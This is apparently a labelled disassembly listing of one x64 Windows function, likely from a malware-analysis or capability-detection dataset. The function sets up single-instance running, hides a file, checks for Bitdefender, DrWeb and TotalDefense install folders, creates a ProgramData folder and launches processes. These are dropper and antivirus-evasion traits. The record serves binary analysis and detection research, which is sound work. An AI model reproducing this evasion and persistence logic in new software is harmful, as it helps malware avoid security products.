Function at 0x140004850
Capabilities:
Check if file exists
Create directory
Create process on windows
Get file attributes
Set file attributes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x3a0]
sub rsp, 0x4a0
mov rax, qword [0x1400670c0]
xor rax, rsp
mov qword [rbp + 0x390], rax
lea r9, str.KYzj0RQm05VTWc3H
xor r8d, r8d
lea edx, [r8 + 1]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov r15, rax
test rax, rax
je 0x140004cc2
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x1400048c5
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140004cc0
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x280]
call fcn.14002bd30
mov r12d, 2
mov r8d, r12d
lea rsi, [0x140069c30]
mov rdx, rsi
lea rcx, [rbp + 0x280]
call fcn.1400062d0
nop
lea ebx, [r12 + 4]
cmp qword [rbp + 0x308], 0
je 0x14000497b
lea rdx, [0x140069c90]
cmp qword [0x140069ca8], 0xf
cmova rdx, qword [0x140069c90]
mov r8, qword [0x140069ca0]
lea rcx, [rbp + 0x280]
call fcn.140003cf0
lea rcx, [rbp + 0x288]
call fcn.140007170
test rax, rax
jne 0x14000497b
mov rax, qword [rbp + 0x280]
movsxd rcx, dword [rax + 4]
mov eax, ebx
cmp qword [rbp + rcx + 0x2c8], 0
cmovne eax, r12d
or eax, dword [rbp + rcx + 0x290]
and eax, 0x17
mov dword [rbp + rcx + 0x290], eax
and eax, dword [rbp + rcx + 0x294]
jne 0x14000514f
mov rcx, rsi
cmp qword [0x140069c48], 0xf
cmova rcx, qword [0x140069c30]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x1400049b7
or eax, 2
mov rcx, rsi
cmp qword [0x140069c48], 0xf
cmova rcx, qword [0x140069c30]
mov edx, eax
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea rcx, str.C:Program_FilesBitdefender
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
lea r13, vtable.std::ios_base.0
cmp eax, 0xffffffff
je 0x1400049d4
test al, 0x10
jne 0x140004a08
lea rcx, str.C:Program_FilesDrWeb
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x1400049ea
test al, 0x10
jne 0x140004a08
lea rcx, str.C:Program_FilesTotalDefense
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140004cf2
test al, 0x10
je 0x140004cf2
call fcn.140005260
mov rbx, rax
mov rcx, rax
call fcn.140006cf0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1c0], xmm0
xor edi, edi
mov qword [rbp + 0x1d0], rdi
mov qword [rbp + 0x1d8], rdi
mov r14, 0xffffffffffffffff
mov r8, r14
nop dword [rax]
inc r8
cmp byte [rbx + r8], dil
jne 0x140004a40
mov rdx, rbx
lea rcx, [rbp + 0x1c0]
call fcn.140003720
nop
lea r8, [rbp + 0x1c0]
lea rdx, [0x140069c70]
lea rcx, [rbp + 0x1e8]
call fcn.140007750
nop
mov rdx, qword [rbp + 0x1d8]
cmp rdx, 0xf
jbe 0x140004ab5
inc rdx
mov rcx, qword [rbp + 0x1c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004ab0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400051a5
call fcn.14000aaf0
mov qword [rbp + 0x1d0], rdi
mov qword [rbp + 0x1d8], 0xf
mov byte [rbp + 0x1c0], 0
mov rcx, qword [rbp + 0x1f8]
inc rcx
mov rax, r12
mul rcx
cmovo rax, r14
mov rcx, rax
call fcn.14000aee0
mov rbx, rax
lea r8, [rbp + 0x1e8]
cmp qword [rbp + 0x200], 0xf
cmova r8, qword [rbp + 0x1e8]
mov ecx, dword [rbp + 0x1f8]
inc ecx
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x20], rax
mov r9d, r14d
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x210], xmm0
movups xmmword [rbp + 0x220], xmm0
movups xmmword [rbp + 0x230], xmm0
movups xmmword [rbp + 0x240], xmm0
movups xmmword [rbp + 0x250], xmm0
movups xmmword [rbp + 0x260], xmm0
mov qword [rbp + 0x270], rax
movups xmmword [rsp + 0x78], xmm0
mov qword [rbp - 0x78], rax
mov dword [rbp + 0x24c], 1
mov word [rbp + 0x250], di
lea rax, [rsp + 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x210]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call fcn.14000aaf0
nop
mov rdx, qword [rbp + 0x200]
cmp rdx, 0xf
jbe 0x140004c1d
inc rdx
mov rcx, qword [rbp + 0x1e8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004c18
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400051ab
call fcn.14000aaf0
lea rdi, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
lea rbx, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp qword [0x140069c48], 0xf
cmova rsi, qword [0x140069c30]
mov rcx, rsi
call fcn.1400159b0
nop
mov rax, qword [rbp + 0x280]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x280], rbx
mov rax, qword [rbp + 0x280]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x27c], edx
lea rcx, [rbp + 0x288]
call fcn.140006220
mov rax, qword [rbp + 0x280]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x280], rdi
mov rax, qword [rbp + 0x280]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx + 0x27c], edx
mov qword [rbp + 0x328], r13
lea rcx, [rbp + 0x328]
call fcn.14000a074
nop
xor eax, eax
mov rcx, qword [rbp + 0x390]
xor rcx, rsp
call fcn.14000aad0
lea r11, [rsp + 0x4a0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
xor edx, edx
lea rcx, str.C:ProgramDataDefendSecurity
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x140004d0b
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rbp - 0x60]
call fcn.14002bd30
lea rdx, [0x140069c70]
cmp qword [0x140069c88], 0xf
cmova rdx, qword [0x140069c70]
lea rcx, [rbp - 0x60]
call fcn.140006ae0
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x60], rax
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 0x64], edx
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0xb0]
call fcn.14002bd30
mov r8d, 0x20
lea rdx, [0x140069c50]
lea rcx, [rbp + 0xb0]
call fcn.1400062d0
nop
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
test byte [rbp + rcx - 0x50], 6
jne 0x140004dc4
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
test byte [rbp + rcx + 0xc0], 6
jne 0x140004dc4
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0xb0]
call fcn.1400064a0
lea rcx, [rbp - 0x50]
call fcn.140007170
test rax, rax
jne 0x140004dfb
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
mov eax, ebx
cmp qword [rbp + rcx - 0x18], 0
cmovne eax, r12d
or eax, dword [rbp + rcx - 0x50]
and eax, 0x17
mov dword [rbp + rcx - 0x50], eax
and eax, dword [rbp + rcx - 0x4c]
jne 0x1400051b1
lea rcx, [rbp + 0xb8]
call fcn.140007170
test rax, rax
jne 0x140004e42
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
cmp qword [rbp + rcx + 0xf8], 0
cmovne ebx, r12d
or ebx, dword [rbp + rcx + 0xc0]
and ebx, 0x17
mov dword [rbp + rcx + 0xc0], ebx
and ebx, dword [rbp + rcx + 0xc4]
jne 0x140005203
call fcn.1400053c0
mov rbx, rax
mov rcx, rax
call fcn.1400068d0
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
xor edi, edi
mov qword [rbp - 0x78], rdi
mov qword [rbp - 0x70], rdi
mov r14, 0xffffffffffffffff
mov r8, r14
nop
inc r8
cmp byte [rbx + r8], dil
jne 0x140004e70
mov rdx, rbx
lea rcx, [rsp + 0x78]
call fcn.140003720
nop
lea r8, [rsp + 0x78]
lea rdx, [0x140069c50]
lea rcx, [rbp + 0x1c0]
call fcn.140007750
nop
mov rdx, qword [rbp - 0x70]
cmp rdx, 0xf
jbe 0x140004edc
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004ed7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005257
call fcn.14000aaf0
mov qword [rbp - 0x78], rdi
mov qword [rbp - 0x70], 0xf
mov byte [rsp + 0x78], 0
mov rcx, qword [rbp + 0x1d0]
inc rcx
mov rax, r12
mul rcx
cmovo rax, r14
mov rcx, rax
call fcn.14000aee0
mov rbx, rax
lea r8, [rbp + 0x1c0]
cmp qword [rbp + 0x1d8], 0xf
cmova r8, qword [rbp + 0x1c0]
mov ecx, dword [rbp + 0x1d0]
inc ecx
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x20], rax
mov r9d, r14d
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x210], xmm0
movups xmmword [rbp + 0x220], xmm0
movups xmmword [rbp + 0x230], xmm0
movups xmmword [rbp + 0x240], xmm0
movups xmmword [rbp + 0x250], xmm0
movups xmmword [rbp + 0x260], xmm0
mov qword [rbp + 0x270], rax
movups xmmword [rbp + 0x1e8], xmm0
mov qword [rbp + 0x1f8], rax
mov dword [rbp + 0x24c], 1
mov word [rbp + 0x250], di
lea rax, [rbp + 0x1e8]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x210]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x1e8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp + 0x1e8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x1f0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call fcn.14000aaf0
nop
mov rdx, qword [rbp + 0x1d8]
cmp rdx, 0xf
jbe 0x14000504a
inc rdx
mov rcx, qword [rbp + 0x1c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005045
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005149
call fcn.14000aaf0
mov qword [rbp + 0x1d0], rdi
mov qword [rbp + 0x1d8], 0xf
mov byte [rbp + 0x1c0], 0
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
lea rbx, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0xb0], rbx
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0xac], edx
lea rcx, [rbp + 0xb8]
call fcn.140006220
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
lea rdi, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0xb0], rdi
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx + 0xac], edx
mov qword [rbp + 0x158], r13
lea rcx, [rbp + 0x158]
call fcn.14000a074
nop
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x60], rax
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 0x64], edx
lea rcx, [rbp - 0x50]
call fcn.140006220
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x60], rax
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rbp + rcx - 0x64], edx
mov qword [rbp + 0x50], r13
lea rcx, [rbp + 0x50]
call fcn.14000a074
nop
jmp 0x140004c2b
call fcn.140014b3c
nop
test al, 4
je 0x14000515c
lea rbx, str.ios_base::badbit_set
jmp 0x140005170
test al, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x78]
call fcn.140001ed0
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0x1c0]
call fcn.1400026c0
lea rdx, [0x140065348]
lea rcx, [rbp + 0x1c0]
call fcn.14000ca8c
nop
call fcn.140014b3c
nop
call fcn.140014b3c
nop
test al, 4
je 0x1400051be
lea rbx, str.ios_base::badbit_set
jmp 0x1400051d2
test al, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x78]
call fcn.140001ed0
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x50]
call fcn.1400026c0
lea rdx, [0x140065348]
lea rcx, [rsp + 0x50]
call fcn.14000ca8c
int3
test bl, 4
je 0x140005211
lea rbx, str.ios_base::badbit_set
jmp 0x140005226
test bl, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x78]
call fcn.140001ed0
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x50]
call fcn.1400026c0
lea rdx, [0x140065348]
lea rcx, [rsp + 0x50]
call fcn.14000ca8c
nop
call fcn.140014b3c
int3